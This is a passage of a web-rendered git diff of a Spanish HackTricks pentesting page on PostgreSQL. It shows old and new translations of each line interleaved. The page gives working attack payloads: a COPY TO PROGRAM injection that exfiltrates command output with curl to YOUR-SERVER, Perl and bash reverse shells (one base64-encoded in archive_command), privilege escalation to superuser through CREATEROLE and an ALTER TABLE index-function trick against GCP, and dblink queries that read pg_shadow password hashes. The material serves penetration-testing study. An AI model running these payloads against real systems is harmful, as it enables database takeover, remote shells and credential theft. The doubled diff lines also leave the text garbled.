Desde la versión 9.3, solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
|
||||
Desde la [versión 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
```
|
||||
Ejemplo de ejecución:
|
||||
Ejemplo para ejecutar:
|
||||
```bash
|
||||
#PoC
|
||||
DROP TABLE IF EXISTS cmd_exec;
|
||||
|
@ -376,17 +557,17 @@ DROP TABLE IF EXISTS cmd_exec;
|
|||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Recuerda que si no eres un superusuario pero tienes los permisos **`CREATEROLE`**, puedes **agregarte como miembro de ese grupo:**
|
||||
Recuerda que si no eres un superusuario pero tienes los permisos **`CREATEROLE`**, puedes **convertirte en miembro de ese grupo:**
|
||||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
[**Más información.**](pentesting-postgresql.md#escalada-de-privilegios-con-createrole)
|
||||
{% endhint %}
|
||||
|
||||
O use el módulo `multi/postgres/postgres_copy_from_program_cmd_exec` de **metasploit**.\
|
||||
Más información sobre esta vulnerabilidad [**aquí**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Aunque se reportó como CVE-2019-9193, Postges declaró que era una [característica y no se corregirá](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
O utiliza el módulo `multi/postgres/postgres_copy_from_program_cmd_exec` de **metasploit**.\
|
||||
Más información sobre esta vulnerabilidad [**aquí**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Aunque se informó como CVE-2019-9193, Postges declaró que esto era una [característica y no se corregirá](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
|
||||
### RCE con lenguajes de PostgreSQL
|
||||
### RCE con Lenguajes de PostgreSQL
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
|
||||
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||||
|
@ -394,7 +575,7 @@ Más información sobre esta vulnerabilidad [**aquí**](https://medium.com/green
|
|||
|
||||
### RCE con extensiones de PostgreSQL
|
||||
|
||||
Una vez que haya **aprendido** del post anterior **cómo cargar archivos binarios**, podría intentar obtener **RCE cargando una extensión de postgresql y cargándola**.
|
||||
Una vez que hayas **aprendido** del post anterior **cómo cargar archivos binarios**, puedes intentar obtener **RCE cargando una extensión de PostgreSQL y cargándola**.
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
|
||||
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
|
@ -402,7 +583,7 @@ Una vez que haya **aprendido** del post anterior **cómo cargar archivos binario
|
|||
|
||||
### RCE en el archivo de configuración de PostgreSQL
|
||||
|
||||
El **archivo de configuración** de postgresql es **editable** por el usuario **postgres** que es el que ejecuta la base de datos, por lo que como **superusuario** puede escribir archivos en el sistema de archivos y, por lo tanto, puede **sobrescribir este archivo**.
|
||||
El **archivo de configuración** de PostgreSQL es **editable** por el usuario **postgres**, que es el que ejecuta la base de datos, por lo que como **superusuario** puedes escribir archivos en el sistema de archivos y, por lo tanto, puedes **sobrescribir este archivo**.
|
||||
|
||||
![](<../.gitbook/assets/image (303).png>)
|
||||
|
||||
|
@ -410,50 +591,50 @@ El **archivo de configuración** de postgresql es **editable** por el usuario **
|
|||
|
||||
El archivo de configuración tiene algunos atributos interesantes que pueden llevar a RCE:
|
||||
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Ruta de la clave privada de la base de datos
|
||||
* `ssl_passphrase_command = ''` Si el archivo privado está protegido por contraseña (cifrado), postgresql **ejecutará el comando indicado en este atributo**.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Si** este atributo está **encendido**, el **comando** ejecutado si la clave está protegida por contraseña **se ejecutará** cuando se **ejecute** `pg_reload_conf()`.
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Ruta de la clave privada de la base de datos.
|
||||
* `ssl_passphrase_command = ''` Si el archivo privado está protegido por contraseña (cifrado), PostgreSQL **ejecutará el comando indicado en este atributo**.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Si** este atributo está **activado**, el **comando** se ejecutará si la clave está protegida por contraseña cuando se ejecute `pg_reload_conf()`.
|
||||
|
||||
Entonces, un atacante necesitará:
|
||||
Entonces, un atacante deberá:
|
||||
|
||||
1. **Volcar la clave privada** del servidor
|
||||
1. **Extraer la clave privada** del servidor.
|
||||
2. **Cifrar** la clave privada descargada:
|
||||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Sobrescribir**
|
||||
4. **Volcar** la **configuración** actual de postgresql
|
||||
5. **Sobrescribir** la **configuración** con la configuración de atributos mencionada:
|
||||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Ejecutar `pg_reload_conf()`
|
||||
`rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Sobrescribir** el archivo de configuración actual.
|
||||
4. **Extraer** la **configuración** actual de PostgreSQL.
|
||||
5. **Sobrescribir** la **configuración** con la configuración de los atributos mencionados:
|
||||
`ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
`ssl_passphrase_command_supports_reload = on`
|
||||
6. Ejecutar `pg_reload_conf()`.
|
||||
|
||||
Mientras probaba esto, noté que esto solo funcionará si el **archivo de clave privada tiene privilegios 640**, es **propiedad de root** y del **grupo ssl-cert o postgres** (para que el usuario postgres pueda leerlo) y se encuentra en _/var/lib/postgresql/12/main_.
|
||||
Al probar esto, noté que solo funcionará si el **archivo de clave privada tiene permisos 640**, es **propiedad de root** y del **grupo ssl-cert o postgres** (para que el usuario postgres pueda leerlo) y se encuentra en _/var/lib/postgresql/12/main_.
|
||||
|
||||
**Más** [**información sobre esta técnica aquí**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**
|
||||
|
||||
#### **RCE con archive\_command**
|
||||
|
||||
Otro atributo en el archivo de configuración que es explotable es `archive_command`.
|
||||
Otro atributo en el archivo de configuración que se puede explotar es `archive_command`.
|
||||
|
||||
Para que esto funcione, la configuración `archive_mode` debe ser `'on'` o `'always'`. Si eso es cierto, entonces podríamos sobrescribir el comando en `archive_command` y forzar su ejecución a través de las operaciones de WAL (write-ahead logging).
|
||||
|
||||
Los pasos generales son:
|
||||
|
||||
1. Verificar si el modo de archivo está habilitado: `SELECT current_setting('archive_mode')`
|
||||
2. Sobrescribir `archive_command` con la carga útil. Por ejemplo, un shell inverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
2. Sobrescribir `archive_command` con el payload. Por ejemplo, un reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Recargar la configuración: `SELECT pg_reload_conf()`
|
||||
4. Forzar la operación WAL para que se ejecute, lo que llamará al comando de archivo: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` para algunas versiones de Postgres
|
||||
4. Forzar la ejecución de la operación WAL, que llamará al comando de archivo: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` para algunas versiones de Postgres
|
||||
|
||||
**Más** [**información sobre esta configuración y sobre WAL aquí**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
|
||||
## **Postgres Privesc**
|
||||
## **Elevación de privilegios en Postgres**
|
||||
|
||||
### CREATEROLE Privesc
|
||||
### Elevación de privilegios CREATEROLE
|
||||
|
||||
#### **Conceder**
|
||||
|
||||
Según la [**documentación**](https://www.postgresql.org/docs/13/sql-grant.html): _Los roles que tienen el privilegio de **`CREATEROLE`** pueden **conceder o revocar la membresía en cualquier rol** que **no sea** un **superusuario**._
|
||||
Según la [**documentación**](https://www.postgresql.org/docs/13/sql-grant.html): _Los roles que tienen el privilegio **`CREATEROLE`** pueden **conceder o revocar la membresía en cualquier rol** que **no sea** un **superusuario**._
|
||||
|
||||
Entonces, si tiene el permiso de **`CREATEROLE`**, podría otorgarse acceso a otros **roles** (que no sean superusuario) que pueden darle la opción de leer y escribir archivos y ejecutar comandos:
|
||||
Entonces, si tienes el permiso **`CREATEROLE`**, podrías otorgarte acceso a otros **roles** (que no sean superusuario) que pueden darte la opción de leer y escribir archivos y ejecutar comandos:
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -469,9 +650,9 @@ Los usuarios con este rol también pueden **cambiar** las **contraseñas** de ot
|
|||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
```
|
||||
#### Privesc a SUPERUSER
|
||||
#### Escalación de privilegios a SUPERUSER
|
||||
|
||||
Es bastante común encontrar que **los usuarios locales pueden iniciar sesión en PostgreSQL sin proporcionar ninguna contraseña**. Por lo tanto, una vez que haya obtenido **permisos para ejecutar código**, puede abusar de estos permisos para otorgarse el rol de **`SUPERUSER`**:
|
||||
Es bastante común encontrar que los **usuarios locales pueden iniciar sesión en PostgreSQL sin proporcionar ninguna contraseña**. Por lo tanto, una vez que hayas obtenido **permisos para ejecutar código**, puedes abusar de estos permisos para obtener el rol de **`SUPERUSER`**:
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
|
@ -489,45 +670,45 @@ host all all ::1/128 trust
|
|||
|
||||
### **ALTER TABLE privesc**
|
||||
|
||||
En [este **artículo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) se explica cómo fue posible hacer **privesc** en Postgres GCP abusando del privilegio ALTER TABLE que se le otorgó al usuario.
|
||||
En [este **informe**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) se explica cómo fue posible realizar una **escalada de privilegios** en Postgres GCP abusando del privilegio ALTER TABLE que se le otorgó al usuario.
|
||||
|
||||
Cuando intentas **hacer que otro usuario sea propietario de una tabla**, deberías obtener un **error** que lo impida, pero aparentemente GCP dio esa **opción al usuario postgres no superusuario** en GCP:
|
||||
Cuando intentas **hacer que otro usuario sea propietario de una tabla**, deberías recibir un **error** que lo impida, pero aparentemente GCP le dio esa **opción al usuario postgres que no es superusuario** en GCP:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Uniendo esta idea con el hecho de que cuando se ejecutan los comandos **INSERT/UPDATE/ANALYZE** en una **tabla con una función de índice**, la **función** se **llama** como parte del comando con los **permisos del propietario de la tabla**. Es posible crear un índice con una función y dar permisos de propietario a un **superusuario** sobre esa tabla, y luego ejecutar ANALYZE sobre la tabla con la función maliciosa que podrá ejecutar comandos porque está utilizando los privilegios del propietario.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
||||
```
|
||||
#### Explotación
|
||||
|
||||
1. Crear una nueva tabla.
|
||||
2. Insertar algunos contenidos falsos en la tabla, para que la función de índice tenga algo con lo que trabajar.
|
||||
2. Insertar contenido ficticio en la tabla para que la función de índice tenga algo con lo que trabajar.
|
||||
3. Crear una función de índice maliciosa (con nuestra carga útil de ejecución de código) en la tabla.
|
||||
4. ALTERAR el propietario de la tabla a cloudsqladmin, el rol de superusuario de GCP, utilizado solo por Cloud SQL para mantener y administrar la base de datos.
|
||||
5. ANALIZAR la tabla, forzando al motor de PostgreSQL a cambiar el contexto de usuario al propietario de la tabla (cloudsqladmin) y llamar a la función de índice maliciosa con los permisos de cloudsqladmin, lo que resulta en la ejecución de nuestro comando shell, para el cual no teníamos permiso para ejecutar antes.
|
||||
4. ALTERAR el propietario de la tabla a cloudsqladmin, el rol de superusuario de GCP utilizado solo por Cloud SQL para mantener y gestionar la base de datos.
|
||||
5. ANALIZAR la tabla, forzando al motor de PostgreSQL a cambiar al contexto de usuario del propietario de la tabla (cloudsqladmin) y llamar a la función de índice maliciosa con los permisos de cloudsqladmin, lo que resulta en la ejecución de nuestro comando de shell, al cual no teníamos permiso para ejecutar anteriormente.
|
||||
|
||||
En PostgreSQL, este flujo se ve algo así:
|
||||
```sql
|
||||
CREATE TABLE temp_table (data text);
|
||||
CREATE TABLE shell_commands_results (data text);
|
||||
|
||||
|
||||
INSERT INTO temp_table VALUES ('dummy content');
|
||||
|
||||
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
|
||||
|
||||
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
|
||||
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
||||
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
|
||||
|
||||
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
|
||||
|
||||
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
|
||||
|
||||
|
||||
ALTER TABLE temp_table OWNER TO cloudsqladmin;
|
||||
|
||||
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
|
||||
|
||||
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
|
||||
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
||||
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
|
||||
|
||||
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
|
||||
|
||||
ANALYZE public.temp_table;
|
||||
```
|
||||
Después de ejecutar la consulta de explotación SQL, la tabla `shell_commands_results` contiene la salida del código ejecutado:
|
||||
|
@ -536,76 +717,76 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
|||
```
|
||||
### Inicio de sesión local
|
||||
|
||||
Algunas instancias mal configuradas de postgresql podrían permitir el inicio de sesión de cualquier usuario local, es posible iniciar sesión localmente desde 127.0.0.1 utilizando la función **`dblink`**:
|
||||
Algunas instancias de postgresql mal configuradas podrían permitir el inicio de sesión de cualquier usuario local, es posible hacerlo desde 127.0.0.1 utilizando la función **`dblink`**:
|
||||
```sql
|
||||
\du * # Get Users
|
||||
\l # Get databases
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
port=5432
|
||||
user=someuser
|
||||
password=supersecret
|
||||
dbname=somedb',
|
||||
'Select usename,passwd from pg_shadow')
|
||||
port=5432
|
||||
user=someuser
|
||||
password=supersecret
|
||||
dbname=somedb',
|
||||
'Select usename,passwd from pg_shadow')
|
||||
RETURNS (result TEXT);
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Tenga en cuenta que para que la consulta anterior funcione **la función `dblink` debe existir**. Si no existe, puede intentar crearla con el siguiente comando:
|
||||
Ten en cuenta que para que la consulta anterior funcione **debe existir la función `dblink`**. Si no existe, puedes intentar crearla con
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
Si tienes la contraseña de un usuario con más privilegios, pero el usuario no está autorizado para iniciar sesión desde una IP externa, puedes usar la siguiente función para ejecutar consultas como ese usuario:
|
||||
Si tienes la contraseña de un usuario con más privilegios, pero el usuario no tiene permitido iniciar sesión desde una IP externa, puedes usar la siguiente función para ejecutar consultas como ese usuario:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=someuser
|
||||
dbname=somedb',
|
||||
'Select usename,passwd from pg_shadow')
|
||||
RETURNS (result TEXT);
|
||||
user=someuser
|
||||
dbname=somedb',
|
||||
'Select usename,passwd from pg_shadow')
|
||||
RETURNS (result TEXT);
|
||||
```
|
||||
Es posible verificar si esta función existe con:
|
||||
```sql
|
||||
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||||
```
|
||||
### Función definida por el usuario con SECURITY DEFINER
|
||||
### **Función definida por el usuario con** SECURITY DEFINER
|
||||
|
||||
En [este artículo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), los pentesters pudieron escalar privilegios dentro de una instancia de postgres proporcionada por IBM, porque encontraron esta función con la bandera SECURITY DEFINER:
|
||||
\*\*\*\*[**En este informe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), los pentesters lograron escalar privilegios dentro de una instancia de postgres proporcionada por IBM, porque **encontraron esta función con la bandera SECURITY DEFINER**:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
LANGUAGE 'plpgsql'
|
||||
<strong> VOLATILE SECURITY DEFINER
|
||||
</strong> PARALLEL UNSAFE
|
||||
COST 100
|
||||
|
||||
AS $BODY$
|
||||
DECLARE
|
||||
persist_dblink_extension boolean;
|
||||
BEGIN
|
||||
persist_dblink_extension := create_dblink_extension();
|
||||
PERFORM dblink_connect(format('dbname=%s', db_name));
|
||||
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
|
||||
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
|
||||
PERFORM dblink_disconnect();
|
||||
…
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
LANGUAGE 'plpgsql'
|
||||
<strong> VOLATILE SECURITY DEFINER
|
||||
</strong> PARALLEL UNSAFE
|
||||
COST 100
|
||||
|
||||
AS $BODY$
|
||||
DECLARE
|
||||
persist_dblink_extension boolean;
|
||||
BEGIN
|
||||
persist_dblink_extension := create_dblink_extension();
|
||||
PERFORM dblink_connect(format('dbname=%s', db_name));
|
||||
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
|
||||
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
|
||||
PERFORM dblink_disconnect();
|
||||
…
|
||||
</code></pre>
|
||||
|
||||
Como [se explica en la documentación](https://www.postgresql.org/docs/current/sql-createfunction.html), una función con **SECURITY DEFINER se ejecuta** con los privilegios del **usuario que la posee**. Por lo tanto, si la función es **vulnerable a la inyección SQL** o está realizando algunas **acciones privilegiadas con parámetros controlados por el atacante**, podría ser abusada para **escalar privilegios dentro de postgres**.
|
||||
Como [**se explica en la documentación**](https://www.postgresql.org/docs/current/sql-createfunction.html), una función con **SECURITY DEFINER se ejecuta** con los privilegios del **usuario que la posee**. Por lo tanto, si la función es **vulnerable a la inyección SQL** o realiza alguna **acción privilegiada con parámetros controlados por el atacante**, podría ser abusada para **escalar privilegios dentro de postgres**.
|
||||
|
||||
En la línea 4 del código anterior se puede ver que la función tiene la bandera **SECURITY DEFINER**.
|
||||
```sql
|
||||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||||
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
||||
```
|
||||
Y luego **ejecutar comandos**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Fuerza bruta de contraseñas con PL/pgSQL
|
||||
### Realizar un ataque de fuerza bruta con PL/pgSQL
|
||||
|
||||
PL/pgSQL, como un lenguaje de programación **completamente funcional**, permite un mayor control procedural que SQL, incluyendo la **capacidad de usar bucles y otras estructuras de control**. Las declaraciones SQL y los disparadores pueden llamar a funciones creadas en el lenguaje PL/pgSQL.\
|
||||
**Puede abusar de este lenguaje para pedirle a PostgreSQL que fuerce la credencial de los usuarios.**
|
||||
PL/pgSQL, como un **lenguaje de programación completo**, permite un mayor control procedural que SQL, incluyendo la **capacidad de utilizar bucles y otras estructuras de control**. Las declaraciones SQL y los disparadores pueden llamar a funciones creadas en el lenguaje PL/pgSQL.\
|
||||
**Puede abusar de este lenguaje para solicitar a PostgreSQL que realice un ataque de fuerza bruta a las credenciales de los usuarios.**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
|
@ -630,7 +811,7 @@ sudo service postgresql restart
|
|||
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
||||
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
||||
```
|
||||
Entonces, **reinicie el servicio**.
|
||||
A continuación, **reinicie el servicio**.
|
||||
|
||||
### pgadmin
|
||||
|
||||
|
@ -649,17 +830,17 @@ La autenticación del cliente es controlada por un archivo de configuración fre
|
|||
|
||||
![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)
|
||||
|
||||
**Cada** registro **especifica** un **tipo de conexión**, un **rango de direcciones IP del cliente** (si es relevante para el tipo de conexión), un **nombre de base de datos**, un **nombre de usuario**, y el **método de autenticación** que se utilizará para las conexiones que coincidan con estos parámetros. El **primer registro con una coincidencia** en el tipo de conexión, la dirección del cliente, la base de datos solicitada y el nombre de usuario **se utiliza** para realizar la autenticación. No hay "fall-through" o "backup": **si se elige un registro y la autenticación falla, los registros posteriores no se consideran**. Si no hay ningún registro que coincida, se deniega el acceso.\
|
||||
Los métodos de autenticación **basados en contraseña** son **md5**, **crypt** y **password**. Estos métodos funcionan de manera similar excepto por la forma en que se envía la contraseña a través de la conexión: respectivamente, con hash MD5, cifrado con crypt y texto sin formato. Una limitación es que el método crypt no funciona con contraseñas que han sido cifradas en pg\_authid.
|
||||
**Cada** registro **especifica** un **tipo de conexión**, un **rango de direcciones IP del cliente** (si es relevante para el tipo de conexión), un **nombre de base de datos**, un **nombre de usuario** y el **método de autenticación** que se utilizará para las conexiones que cumplan con estos parámetros. El **primer registro con una coincidencia** en el tipo de conexión, dirección IP del cliente, base de datos solicitada y nombre de usuario **se utiliza** para realizar la autenticación. No hay una "opción de respaldo" o "alternativa": **si se elige un registro y la autenticación falla, los registros posteriores no se consideran**. Si no hay ningún registro que coincida, se deniega el acceso.\
|
||||
Los métodos de autenticación basados en contraseña son **md5**, **crypt** y **password**. Estos métodos funcionan de manera similar, excepto por la forma en que se envía la contraseña a través de la conexión: respectivamente, en formato MD5-hashed, encriptada con crypt y en texto claro. Una limitación es que el método crypt no funciona con contraseñas que hayan sido encriptadas en pg\_authid.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -667,7 +848,7 @@ Los métodos de autenticación **basados en contraseña** son **md5**, **crypt**
|
|||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con facilidad, impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
Loading…
Reference in a new issue